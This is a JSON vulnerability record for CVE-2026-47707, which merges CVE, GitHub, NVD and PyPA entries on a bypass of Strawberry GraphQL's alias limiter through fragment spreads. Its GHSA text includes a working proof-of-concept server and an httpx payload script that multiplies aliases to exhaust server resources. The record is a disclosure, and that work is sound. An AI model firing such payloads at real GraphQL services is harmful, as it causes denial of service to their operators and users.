{"id":"CVE-2026-47707","aliases":["CVE-2026-47707","GHSA-fr49-mhgj-crfc","PYSEC-2026-2284"],"related":[],"kind":"vulnerability","state":"published","title":"Strawberry GraphQL's Bypass of MaxAliasesLimiter via Fragment Spreads leading to GraphQL Alias Amplification","summary":"Strawberry GraphQL is a library for creating GraphQL APIs. In versions 0.172.0 through0.315.6, the MaxAliasesLimiter extension in Strawberry fails to account for the multiplicative/amplification effect of FragmentSpreadNode. While it correctly counts static aliases within the AST it does not consider how many times a fragments internal aliases are expanded during execution. this allows an attacker to bypass alias limits and force the server to resolve and render a significantly higher number of aliases than allowed, potentially leading to a  dos via resource exhaustion. Version 0.315.7 contains a fix for the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Strawberry GraphQL is a library for creating GraphQL APIs. In versions 0.172.0 through0.315.6, the MaxAliasesLimiter extension in Strawberry fails to account for the multiplicative/amplification effect of FragmentSpreadNode. While it correctly counts static aliases within the AST it does not consider how many times a fragments internal aliases are expanded during execution. this allows an attacker to bypass alias limits and force the server to resolve and render a significantly higher number of aliases than allowed, potentially leading to a  dos via resource exhaustion. Version 0.315.7 contains a fix for the issue.","source":"cvelist"},{"lang":"en","text":"### Summary\nThe MaxAliasesLimiter extension in Strawberry fails to account for the multiplicative/amplification effect of FragmentSpreadNode. While it correctly counts static aliases within the AST it does not consider how many times a fragments internal aliases are expanded during execution. this allows an attacker to bypass alias limits and force the server to resolve and render a significantly higher number of aliases than allowed, potentially leading to a  dos via resource exhaustion.\n\n### Details\nThe current implementation of alias counting in strawberry/extensions/max_aliases.py uses a static approach\n```\nfor selection in selection_set_owner.selection_set.selections: \n    if isinstance(selection, FieldNode) and selection.alias:\n        result += 1\n\n    if isinstance(selection, (FieldNode, InlineFragmentNode)) and ~~~:\n        result += count_fields_with_alias(selection)\n```\n\nWhen a FragmentSpread is used multiple times, the actual number of aliases processed by the execution engine is\n\n**Total Aliases = query aliases + (num of spreads * aliases within fragment)**\n\nBecause Strawberry only performs a static sum of the text, it misses this multiplication\n\n### PoC\n**server code**\n```\nimport strawberry\nfrom fastapi import FastAPI\nfrom strawberry.fastapi import GraphQLRouter\nfrom strawberry.extensions import MaxAliasesLimiter\n\n@strawberry.type\nclass User:\n    name: str = \"GONA\"\n\n@strawberry.type\nclass Query:\n    @strawberry.field\n    def user(self) -> User:\n        return User()\n\n# Limit is set to 20 aliases\nschema = strawberry.Schema(\n    query=Query, \n    extensions=[MaxAliasesLimiter(max_alias_count=20)]\n)\n\napp = FastAPI()\napp.include_router(GraphQLRouter(schema), prefix=\"/graphql\")\n```\n\n**payloads**\n```\nimport httpx\n\npayload = {\n    \"query\": \"\"\"\n        fragment Amplification on User {\n            a1: name, a2: name, a3: name, a4: name, a5: name,\n            a6: name, a7: name, a8: name, a9: name, a10: name\n        }\n        query Bypass {\n            u1: user { ...Amplification }\n            u2: user { ...Amplification }\n            u3: user { ...Amplification }\n            u4: user { ...Amplification }\n            u5: user { ...Amplification }\n            u6: user { ...Amplification }\n            u7: user { ...Amplification }\n            u8: user { ...Amplification }\n            u9: user { ...Amplification }\n            u10: user { ...Amplification }\n        }\n    \"\"\"\n}\n\nresponse = httpx.post(\"http://127.0.0.1:8000/graphql\", json=payload)\nprint(f\"Status: {response.status_code}\")\n# The response will contain 100 'a' aliases nested within 10 'u' aliases.\nprint(response.json())\n```\n\n### Impact\nAn attacker can bypass security constraints to cause Application-level DOS. By staying just under the max_alias_count limit in the AST an attacker can trigger thousands of actual alias resolutions on the backend consuming excessive CPU and memory","format":"markdown","source":"ghsa"},{"lang":"es","text":"Strawberry GraphQL es una biblioteca para crear APIs GraphQL. En las versiones 0.172.0 a 0.315.6, la extensión MaxAliasesLimiter en Strawberry no tiene en cuenta el efecto multiplicativo/de amplificación de FragmentSpreadNode. Si bien cuenta correctamente los alias estáticos dentro del AST, no considera cuántas veces los alias internos de un fragmento se expanden durante la ejecución. Esto permite a un atacante eludir los límites de alias y forzar al servidor a resolver y renderizar un número significativamente mayor de alias de lo permitido, lo que podría llevar a un DoS por agotamiento de recursos. La versión 0.315.7 contiene una solución para el problema.","source":"nvd"}],"published":"2026-06-04T14:12:49.083Z","modified":"2026-07-22T20:10:00.127Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3,"rating":"MEDIUM"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3,"rating":"MEDIUM"}],"cwes":["CWE-400"],"affected":[{"ranges":[{"version":">= 0.172.0, < 0.315.7","status":"affected"}],"vendor":"strawberry-graphql","product":"strawberry","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0.172.0","status":"affected","fixed":"0.315.7"}],"ecosystem":"PyPI","package":"strawberry-graphql","purl":"pkg:pypi/strawberry-graphql","source":"ghsa"},{"ranges":[{"status":"affected","introduced":"0.172.0","fixed":"0.315.7"}],"vendor":"strawberry","product":"strawberry_graphql","cpe":"cpe:2.3:a:strawberry:strawberry_graphql:*:*:*:*:*:python:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0.172.0","status":"affected","fixed":"0.315.7"}],"ecosystem":"PyPI","package":"strawberry-graphql","purl":"pkg:pypi/strawberry-graphql","source":"pysec"}],"references":[{"url":"https://github.com/strawberry-graphql/strawberry/security/advisories/GHSA-fr49-mhgj-crfc","tags":["evidence","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/strawberry-graphql/strawberry/releases/tag/0.315.7","tags":["advisory","product","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47707","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/strawberry-graphql/strawberry","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-06-04T15:05:32.309Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-47707","url":"https://www.cve.org/CVERecord?id=CVE-2026-47707","licence":"CVE Terms of Use","modified":"2026-06-04T15:06:13.934Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-fr49-mhgj-crfc","url":"https://github.com/advisories/GHSA-fr49-mhgj-crfc","licence":"CC-BY-4.0","modified":"2026-07-13T07:26:42.996Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-47707","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47707","licence":"Public domain","modified":"2026-07-22T20:10:00.127Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-2284","url":"https://osv.dev/vulnerability/PYSEC-2026-2284","licence":"CC-BY-4.0","modified":"2026-07-13T07:15:42.523Z"}],"updatedAt":"2026-11-25T22:59:23.706Z","epss":{"score":0.00687,"percentile":0.47952,"date":"2026-11-30T12:00:22.000Z"}}